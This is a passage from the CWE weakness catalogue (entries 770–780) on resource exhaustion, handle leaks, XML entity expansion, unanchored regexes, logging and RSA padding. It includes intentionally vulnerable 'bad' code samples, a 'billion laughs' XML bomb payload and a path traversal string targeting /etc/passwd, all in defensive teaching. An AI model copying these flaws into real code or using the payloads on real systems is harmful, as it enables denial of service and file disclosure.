When compiled and run, the above code will output a privilege level of 1, or PRIV\_REGULAR for every user but the user with id 0 since the prefix increment operator used in the if statement will reach zero and short circuit before setting the 0th user's privilege level. Since we used calloc, this privilege will be set to 0, or PRIV\_ADMIN.

## CWE-770: Allocation of Resources Without Limits or Throttling

Weakness ID : 770

Status: Incomplete

Structure : Simple

Abstraction : Base

### Description

The software allocates a reusable resource or group of resources on behalf of an actor without imposing any restrictions on the size or number of resources that can be allocated, in violation of the intended security policy for that actor.

### Extended Description

Code frequently has to work with limited resources, so programmers must be careful to ensure that resources are not consumed too quickly, or too easily. Without use of quotas, resource limits, or other protection mechanisms, it can be easy for an attacker to consume many resources by rapidly making many requests, or causing larger resources to be used than is needed. When too many resources are allocated, or if a single resource is too large, then it can prevent the code from working correctly, possibly leading to a denial of service.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. ## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Often*)

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Resource Consumption (Other)  <i>When allocating resources without limits, an attacker could prevent other systems, applications, or processes from accessing the same type of resource.</i>	

## Detection Methods

**Manual Static Analysis**

Manual static analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. If denial-of-service is not considered a significant risk, or if there is strong emphasis on consequences such as code execution, then manual analysis may not focus on this weakness at all.

### Fuzzing

While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find uncontrolled resource allocation problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted software in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to limit resource allocation may be the cause. When the allocation is directly affected by numeric inputs, then fuzzing may produce indications of this weakness.

*Effectiveness = Opportunistic*

### Automated Dynamic Analysis

Certain automated dynamic analysis techniques may be effective in producing side effects of uncontrolled resource allocation problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the software within a short time frame. Manual analysis is likely required to interpret the results.

### Automated Static Analysis

Specialized configuration or tuning may be required to train automated tools to recognize this weakness. Automated static analysis typically has limited utility in recognizing unlimited allocation problems, except for the missing release of program-independent system resources such as files, sockets, and processes, or unchecked arguments to memory. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired, or if too much of a resource is requested at once, as can occur with memory. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value. Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.

## Potential Mitigations

### Phase: Requirements

Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.

### Phase: Architecture and Design

Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.

### Phase: Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not

strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Phase: Architecture and Design**

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

**Phase: Architecture and Design**

Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.

**Phase: Architecture and Design**

Ensure that protocols have specific limits of scale placed on them.

**Phase: Architecture and Design****Phase: Implementation**

If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.

**Phase: Operation****Phase: Architecture and Design**

*Strategy = Resource Limitation*

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, `setrlimit()` can be used to set limits for certain types of resources, and `getrlimit()` can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

## Demonstrative Examples

### Example 1:

This code allocates a socket and forks each time it receives a new connection.

*Example Language: C*

*(bad)*

```
sock=socket(AF_INET, SOCK_STREAM, 0);
while (1) {
    newsock=accept(sock, ...);
    printf("A connection has been accepted\n");
    pid = fork();
}
```

The program does not track how many connections have been made, and it does not limit the number of connections. Because forking is a relatively expensive operation, an attacker would be able to cause the system to run out of CPU, processes, or memory by making a large number of connections. Alternatively, an attacker could consume all available connections, preventing others from accessing the system remotely.

### Example 2:

In the following example a server socket connection is used to accept a request to store data on the local file system using a specified filename. The method `openSocketConnection` establishes a server socket to accept requests from a client. When a client establishes a connection to this service the `getNextMessage` method is first used to retrieve from the socket the name of the file to store the data, the `openFileToWrite` method will validate the filename and open a file to write to on the local file system. The `getNextMessage` is then used within a while loop to continuously read data from the socket and output the data to the file until there is no longer any data from the socket.

*Example Language: C*

*(bad)*

```
int writeDataFromSocketToFile(char *host, int port)
{
    char filename[FILENAME_SIZE];
    char buffer[BUFFER_SIZE];
    int socket = openSocketConnection(host, port);
    if (socket < 0) {
        printf("Unable to open socket connection");
        return(FAIL);
    }
    if (getNextMessage(socket, filename, FILENAME_SIZE) > 0) {
        if (openFileToWrite(filename) > 0) {
            while (getNextMessage(socket, buffer, BUFFER_SIZE) > 0){
                if (!(writeToFile(buffer) > 0))
                    break;
            }
        }
        closeFile();
    }
    closeSocket(socket);
}
```

This example creates a situation where data can be dumped to a file on the local file system without any limits on the size of the file. This could potentially exhaust file or disk resources and/or limit other clients' ability to access the service.

### Example 3:

In the following example, the `processMessage` method receives a two dimensional character array containing the message to be processed. The two-dimensional character array contains the length of the message in the first character array and the message body in the second character array. The `getMessageLength` method retrieves the integer value of the length from the first character

array. After validating that the message length is greater than zero, the body character array pointer points to the start of the second character array of the two-dimensional character array and memory is allocated for the new body character array.

Example Language: C

(bad)

```
/* process message accepts a two-dimensional character array of the form [length][body] containing the message to be
processed */
int processMessage(char **message)
{
    char *body;
    int length = getMessageLength(message[0]);
    if (length > 0) {
        body = &message[1][0];
        processMessageBody(body);
        return(SUCCESS);
    }
    else {
        printf("Unable to process message; invalid message length");
        return(FAIL);
    }
}
```

This example creates a situation where the length of the body character array can be very large and will consume excessive memory, exhausting system resources. This can be avoided by restricting the length of the second character array with a maximum length check

Also, consider changing the type from 'int' to 'unsigned int', so that you are always guaranteed that the number is positive. This might not be possible if the protocol specifically requires allowing negative values, or if you cannot control the return value from getMessageLength(), but it could simplify the check to ensure the input is positive, and eliminate other errors such as signed-to-unsigned conversion errors (CWE-195) that may occur elsewhere in the code.

Example Language: C

(good)

```
unsigned int length = getMessageLength(message[0]);
if ((length > 0) && (length < MAX_LENGTH)) {...}
```

#### Example 4:

In the following example, a server object creates a server socket and accepts client connections to the socket. For every client connection to the socket a separate thread object is generated using the ClientSocketThread class that handles request made by the client through the socket.

Example Language: Java

(bad)

```
public void acceptConnections() {
    try {
        ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
        int counter = 0;
        boolean hasConnections = true;
        while (hasConnections) {
            Socket client = serverSocket.accept();
            Thread t = new Thread(new ClientSocketThread(client));
            t.setName(client.getInetAddress().getHostName() + ":" + counter++);
            t.start();
        }
        serverSocket.close();
    } catch (IOException ex) {...}
}
```

In this example there is no limit to the number of client connections and client threads that are created. Allowing an unlimited number of client connections and threads could potentially overwhelm the system and system resources.

The server should limit the number of client connections and the client threads that are created. This can be easily done by creating a thread pool object that limits the number of threads that are generated.

Example Language: Java

(good)

```
public static final int SERVER_PORT = 4444;
public static final int MAX_CONNECTIONS = 10;
...
public void acceptConnections() {
    try {
        ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
        int counter = 0;
        boolean hasConnections = true;
        while (hasConnections) {
            hasConnections = checkForMoreConnections();
            Socket client = serverSocket.accept();
            Thread t = new Thread(new ClientSocketThread(client));
            t.setName(client.getInetAddress().getHostName() + ":" + counter++);
            ExecutorService pool = Executors.newFixedThreadPool(MAX_CONNECTIONS);
            pool.execute(t);
        }
        serverSocket.close();
    } catch (IOException ex) {...}
}
```

#### Example 5:

An unnamed web site allowed a user to purchase tickets for an event. A menu option allowed the user to purchase up to 10 tickets, but the back end did not restrict the actual number of tickets that could be purchased.

#### Example 6:

Here the problem is that every time a connection is made, more memory is allocated. So if one just opened up more and more connections, eventually the machine would run out of memory.

Example Language: C

(bad)

```
bar connection() {
    foo = malloc(1024);
    return foo;
}
endConnection(bar foo) {
    free(foo);
}
int main() {
    while(1) {
        foo=connection();
    }
    endConnection(foo)
}
```

### Notes

#### Relationship

This entry is different from uncontrolled resource consumption (CWE-400) in that there are other weaknesses that are related to inability to control resource consumption, such as holding on to a resource too long after use, or not correctly keeping track of active resources so that they can be managed and released when they are finished (CWE-771).

#### Theoretical

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.

## CWE-771: Missing Reference to Active Allocated Resource

**Weakness ID :** 771

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

### Description

The software does not properly maintain a reference to a resource that has been allocated, which prevents the resource from being reclaimed.

### Extended Description

This does not necessarily apply in languages or frameworks that automatically perform garbage collection, since the removal of all references may act as a signal that the resource is ready to be reclaimed.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		400	Uncontrolled Resource Consumption	876
ParentOf		773	Missing Reference to Active File Descriptor or Handle	1462

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		399	Resource Management Errors	1988

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other) <i>An attacker that can influence the allocation of resources that are not properly maintained could deplete the available resource pool and prevent all other processes from accessing the same type of resource.</i>	

### Potential Mitigations

**Phase: Operation**

**Phase: Architecture and Design**

*Strategy = Resource Limitation*

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, `setrlimit()` can be used to set limits for certain types of resources, and `getrlimit()` can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further

resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

## CWE-772: Missing Release of Resource after Effective Lifetime

Weakness ID : 772

Status: Draft

Structure : Simple

Abstraction : Base

### Description

The software does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed.

### Extended Description

When a resource is not released after use, it can allow attackers to cause a denial of service by causing the allocation of resources without triggering their release. Frequently-affected resources include memory, CPU, disk space, power or battery, etc.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. ### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other)  <i>An attacker that can influence the allocation of resources that are not properly released could deplete the available resource pool and prevent all other processes from accessing the same type of resource.</i>	

### Potential Mitigations

#### Phase: Requirements

*Strategy = Language Selection*

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, languages such as Java, Ruby, and Lisp perform automatic garbage collection that releases memory for objects that have been deallocated.

#### Phase: Implementation

It is good practice to be responsible for freeing all resources you allocate and to be consistent with how and where you free resources in a function. If you allocate resources that you intend to free upon completion of the function, you must be sure to free the resources at all exit points for that function including error conditions.

#### Phase: Operation

#### Phase: Architecture and Design

*Strategy = Resource Limitation*

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, `setrlimit()` can be used to set limits for certain types of resources, and `getrlimit()` can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

## Demonstrative Examples

### Example 1:

The following method never closes the new file handle. Given enough time, the Finalize() method for BufferedReader should eventually call Close(), but there is no guarantee as to how long this action will take. In fact, there is no guarantee that Finalize() will ever be invoked. In a busy environment, the Operating System could use up all of the available file handles before the Close() function is called.

*Example Language: Java*

*(bad)*

```
private void processFile(string fName)
{
    BufferedReader fil = new BufferedReader(new FileReader(fName));
    String line;
    while ((line = fil.ReadLine()) != null)
    {
        processLine(line);
    }
}
```

The good code example simply adds an explicit call to the Close() function when the system is done using the file. Within a simple example such as this the problem is easy to see and fix. In a real system, the problem may be considerably more obscure.

*Example Language: Java*

*(good)*

```
private void processFile(string fName)
{
    BufferedReader fil = new BufferedReader(new FileReader(fName));
    String line;
    while ((line = fil.ReadLine()) != null)
    {
        processLine(line);
    }
    fil.Close();
}
```

### Example 2:

The following code attempts to open a new connection to a database, process the results returned by the database, and close the allocated SqlConnection object.

*Example Language: C#*

*(bad)*

```
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();
```

The problem with the above code is that if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

### Example 3:

This code attempts to open a connection to a database and catches any exceptions that may occur.

*Example Language: Java**(bad)*

```
try {
    Connection con = DriverManager.getConnection(some_connection_string);
}
catch ( Exception e ) {
    log( e );
}
```

If an exception occurs after establishing the database connection and before the same connection closes, the pool of database connections may become exhausted. If the number of available connections is exceeded, other users cannot access this resource, effectively denying access to the application.

**Example 4:**

Under normal conditions the following C# code executes a database query, processes the results returned by the database, and closes the allocated SqlConnection object. But if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

*Example Language: C#**(bad)*

```
...
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();
...
```

**Example 5:**

The following C function does not close the file handle it opens if an error occurs. If the process is long-lived, the process can run out of file handles.

*Example Language: C**(bad)*

```
int decodeFile(char* fName) {
    char buf[BUF_SZ];
    FILE* f = fopen(fName, "r");
    if (!f) {
        printf("cannot open %s\n", fName);
        return DECODE_FAIL;
    }
    else {
        while (fgets(buf, BUF_SZ, f)) {
            if (!checkChecksum(buf)) {
                return DECODE_FAIL;
            }
            else {
                decodeBlock(buf);
            }
        }
    }
    fclose(f);
    return DECODE_SUCCESS;
}
```

### Notes

#### Maintenance

"Resource exhaustion" (CWE-400) is currently treated as a weakness, although it is more like a category of weaknesses that all have the same type of consequence. While this entry treats CWE-400 as a parent in view 1000, the relationship is probably more appropriately described as a chain.

#### Theoretical

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.

## CWE-773: Missing Reference to Active File Descriptor or Handle

<b>Weakness ID</b> : 773	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The software does not properly maintain references to a file descriptor or handle, which prevents that file descriptor/handle from being reclaimed.

### Extended Description

This can cause the software to consume all available file descriptors or handles, which can prevent other processes from performing critical file processing operations.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling

<b>Weakness ID</b> : 774	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The software allocates file descriptors or handles on behalf of an actor without imposing any restrictions on how many descriptors can be allocated, in violation of the intended security policy for that actor.

### Extended Description

This can cause the software to consume all available file descriptors or handles, which can prevent other processes from performing critical file processing operations.

## CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime

**Weakness ID :** 775

**Status:** Incomplete

**Structure :** Simple

**Abstraction** : Variant

## Description

The software does not release a file descriptor or handle after its effective lifetime has ended, i.e., after the file descriptor/handle is no longer needed.

## Extended Description

When a file descriptor or handle is not released after use (typically by explicitly closing it), attackers can cause a denial of service by consuming all available file descriptors/handles, or otherwise preventing other system processes from obtaining their own file descriptors/handles.

## Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other)  <i>An attacker that can influence the allocation of resources that are not properly released could deplete the available resource pool and prevent all other processes from accessing the same type of resource.</i>	

## Potential Mitigations

**Phase: Operation**

**Phase: Architecture and Design**

*Strategy = Resource Limitation*

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, `setrlimit()` can be used to set limits for certain types of resources, and `getrlimit()` can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

## CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')

<b>Weakness ID</b> : 776	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software uses XML documents and allows their structure to be defined with a Document Type Definition (DTD), but it does not properly control the number of recursive definitions of entities.

### Extended Description

If the DTD contains a large number of nested or recursive entities, this can lead to explosive growth of data when parsed, causing a denial of service.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Applicable Platforms

**Language** : XML (Prevalence = Undetermined)

### Alternate Terms

**XEE** : XEE is the acronym commonly used for XML Entity Expansion.

**Billion Laughs Attack** :

**XML Bomb** : While the "XML Bomb" term was used in the early years of knowledge of this issue, the XEE term seems to be more commonly used.

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other)  <i>If parsed, recursive entity references allow the attacker to expand data exponentially, quickly consuming all system resources.</i>	

### Potential Mitigations

#### Phase: Operation

If possible, prohibit the use of DTDs or use an XML parser that limits the expansion of recursive DTD entities.

#### Phase: Implementation

Before parsing XML files with associated DTDs, scan for recursive entity declarations and do not continue parsing potentially explosive content.

### Demonstrative Examples

#### Example 1:

The DTD and the very brief XML below illustrate what is meant by an XML bomb. The ZERO entity contains one character, the letter A. The choice of entity name ZERO is being used to indicate length equivalent to that exponent on two, that is, the length of ZERO is  $2^0$ . Similarly, ONE refers to ZERO twice, therefore the XML parser will expand ONE to a length of 2, or  $2^1$ . Ultimately, we reach entity THIRTYTWO, which will expand to  $2^{32}$  characters in length, or 4 GB, probably consuming far more data than expected.

*Example Language: XML*

*(attack)*

```
<?xml version="1.0"?>
<!DOCTYPE MaliciousDTD [
<!ENTITY ZERO "A">
<!ENTITY ONE "&ZERO;&ZERO;">
<!ENTITY TWO "&ONE;&ONE;">
...
<!ENTITY THIRTYTWO "&THIRTYONE;&THIRTYONE;">
]>
<data>&THIRTYTWO;</data>
```

## CWE-777: Regular Expression without Anchors

Weakness ID : 777

Status: Incomplete

Structure : Simple

Abstraction : Variant

## Description

The software uses a regular expression to perform neutralization, but the regular expression is not anchored and may allow malicious or malformed data to slip through.

### Extended Description

When performing tasks such as validating against a set of allowed inputs (allowlist), data is examined and possibly modified to ensure that it is well-formed and adheres to a list of safe values. If the regular expression is not anchored, malicious or malformed data may be included before or after any string matching the regular expression. The type of malicious data that is allowed will depend on the context of the application and which anchors are omitted from the regular expression.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		625	Permissive Regular Expression	1258

### Background Details

Regular expressions are typically used to match a pattern of text. Anchors are used in regular expressions to specify where the pattern should match: at the beginning, the end, or both (the whole input).

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Availability	Bypass Protection Mechanism	
Confidentiality	<i>An unanchored regular expression in the context of an allowlist will possibly result in a protection mechanism failure, allowing malicious or malformed data to enter trusted regions of the program. The specific consequences will depend on what functionality the allowlist was protecting.</i>	
Access Control		

### Potential Mitigations

#### Phase: Implementation

Be sure to understand both what will be matched and what will not be matched by a regular expression. Anchoring the ends of the expression will allow the programmer to define an allowlist strictly limited to what is matched by the text in the regular expression. If you are using a package that only matches one line by default, ensure that you can match multi-line inputs if necessary.

### Demonstrative Examples

#### Example 1:

Consider a web application that supports multiple languages. It selects messages for an appropriate language by using the lang parameter.

*Example Language: PHP*

*(bad)*

```
$dir = "/home/cwe/languages";
$lang = $_GET['lang'];
```

```

if (preg_match("/[A-Za-z0-9]+/", $lang)) {
    include("$dir/$lang");
}
else {
    echo "You shall not pass!\n";
}

```

The previous code attempts to match only alphanumeric values so that language values such as "english" and "french" are valid while also protecting against path traversal, CWE-22. However, the regular expression anchors are omitted, so any text containing at least one alphanumeric character will now pass the validation step. For example, the attack string below will match the regular expression.

Example Language:

(attack)

```
../etc/passwd
```

If the attacker can inject code sequences into a file, such as the web server's HTTP request log, then the attacker may be able to redirect the lang parameter to the log file and execute arbitrary code.

## CWE-778: Insufficient Logging

Weakness ID : 778

Status: Draft

Structure : Simple

Abstraction : Base

### Description

When a security-critical event occurs, the software either does not record the event or omits important details about the event when logging it.

### Extended Description

When security-critical events are not logged properly, such as a failed login attempt, this can make malicious behavior more difficult to detect and may hinder forensic analysis after an attack succeeds.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities  <i>If security critical information is not recorded, there will be no trail for forensic analysis and discovering the cause of problems or the source of attacks may become more difficult or impossible.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Use a centralized logging mechanism that supports multiple levels of detail. Ensure that all security-related successes and failures can be logged.

#### Phase: Operation

Be sure to set the level of logging appropriately in a production environment. Sufficient data should be logged to enable system administrators to detect attacks, diagnose errors, and recover from attacks. At the same time, logging too much data (CWE-779) can cause the same problems.

### Demonstrative Examples

#### Example 1:

The example below shows a configuration for the service security audit feature in the Windows Communication Foundation (WCF).

*Example Language: XML*

*(bad)*

```
<system.serviceModel>
  <behaviors>
    <serviceBehaviors>
      <behavior name="NewBehavior">
        <serviceSecurityAudit auditLogLocation="Default"
          suppressAuditFailure="false"
          serviceAuthorizationAuditLevel="None"
          messageAuthenticationAuditLevel="None" />
      ...
    </serviceBehaviors>
  </behaviors>
</system.serviceModel>
```

The previous configuration file has effectively disabled the recording of security-critical events, which would force the administrator to look to other sources during debug or recovery efforts.

Logging failed authentication attempts can warn administrators of potential brute force attacks. Similarly, logging successful authentication events can provide a useful audit trail when a legitimate account is compromised. The following configuration shows appropriate settings, assuming that the site does not have excessive traffic, which could fill the logs if there are a large number of success or failure events (CWE-779).

*Example Language: XML*

*(good)*

```
<system.serviceModel>
  <behaviors>
    <serviceBehaviors>
      <behavior name="NewBehavior">
        <serviceSecurityAudit auditLogLocation="Default"
          suppressAuditFailure="false"

```

```

serviceAuthorizationAuditLevel="SuccessAndFailure"
messageAuthenticationAuditLevel="SuccessAndFailure" />
...
</system.serviceModel>
  
```

## CWE-779: Logging of Excessive Data

**Weakness ID** : 779 **Status**: Draft  
**Structure** : Simple  
**Abstraction** : Base

### Description

The software logs too much information, making log files hard to process and possibly hindering recovery efforts or forensic analysis after an attack.

### Extended Description

While logging is a good practice in general, and very high levels of logging are appropriate for debugging stages of development, too much logging in a production environment might hinder a system administrator's ability to detect anomalous conditions. This can provide cover for an attacker while attempting to penetrate a system, clutter the audit trail for forensic analysis, or make it more difficult to debug problems in a production environment.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Other)  <i>Log files can become so large that they consume excessive resources, such as disk and CPU, which can hinder the performance of the system.</i>	
Non-Repudiation	Hide Activities  <i>Logging too much information can make the log files of less use to forensics analysts and developers when trying to diagnose a problem or recover from an attack.</i>	
Non-Repudiation	Hide Activities  <i>If system administrators are unable to effectively process log files, attempted attacks may go undetected, possibly leading to eventual system compromise.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Suppress large numbers of duplicate log messages and replace them with periodic summaries. For example, syslog may include an entry that states "last message repeated X times" when recording repeated events.

#### Phase: Architecture and Design

Support a maximum size for the log file that can be controlled by the administrator. If the maximum size is reached, the admin should be notified. Also, consider reducing functionality of the software. This may result in a denial-of-service to legitimate software users, but it will prevent the software from adversely impacting the entire system.

#### Phase: Implementation

Adjust configurations appropriately when software is transitioned from a debug state to production.

## CWE-780: Use of RSA Algorithm without OAEP

Weakness ID : 780

Status: Incomplete

Structure : Simple

Abstraction : Variant

## Description

The software uses the RSA algorithm but does not incorporate Optimal Asymmetric Encryption Padding (OAEP), which might weaken the encryption.

## Extended Description

Padding schemes are often used with cryptographic algorithms to make the plaintext less predictable and complicate attack efforts. The OAEP scheme is often used with RSA to nullify the impact of predictable common text.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	2092

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism  <i>Without OAEP in RSA encryption, it will take less work for an attacker to decrypt the data or to infer patterns from the ciphertext.</i>	

## Demonstrative Examples

## Example 1:

The example below attempts to build an RSA cipher.

*Example Language: Java*

*(bad)*

```
public Cipher getRSACipher() {
```

```

Cipher rsa = null;
try {
    rsa = javax.crypto.Cipher.getInstance("RSA/NONE/NoPadding");
}
catch (java.security.NoSuchAlgorithmException e) {
    log("this should never happen", e);
}
catch (javax.crypto.NoSuchPaddingException e) {
    log("this should never happen", e);
}
return rsa;
}

```

While the previous code successfully creates an RSA cipher, the cipher does not use padding. The following code creates an RSA cipher using OAEP.

*Example Language: Java*

*(good)*

```

public Cipher getRSACipher() {
    Cipher rsa = null;
    try {
        rsa = javax.crypto.Cipher.getInstance("RSA/ECB/OAEPWithMD5AndMGF1Padding");
    }
    catch (java.security.NoSuchAlgorithmException e) {
        log("this should never happen", e);
    }
    catch (javax.crypto.NoSuchPaddingException e) {
        log("this should never happen", e);
    }
    return rsa;
}

```

## Notes

### Maintenance

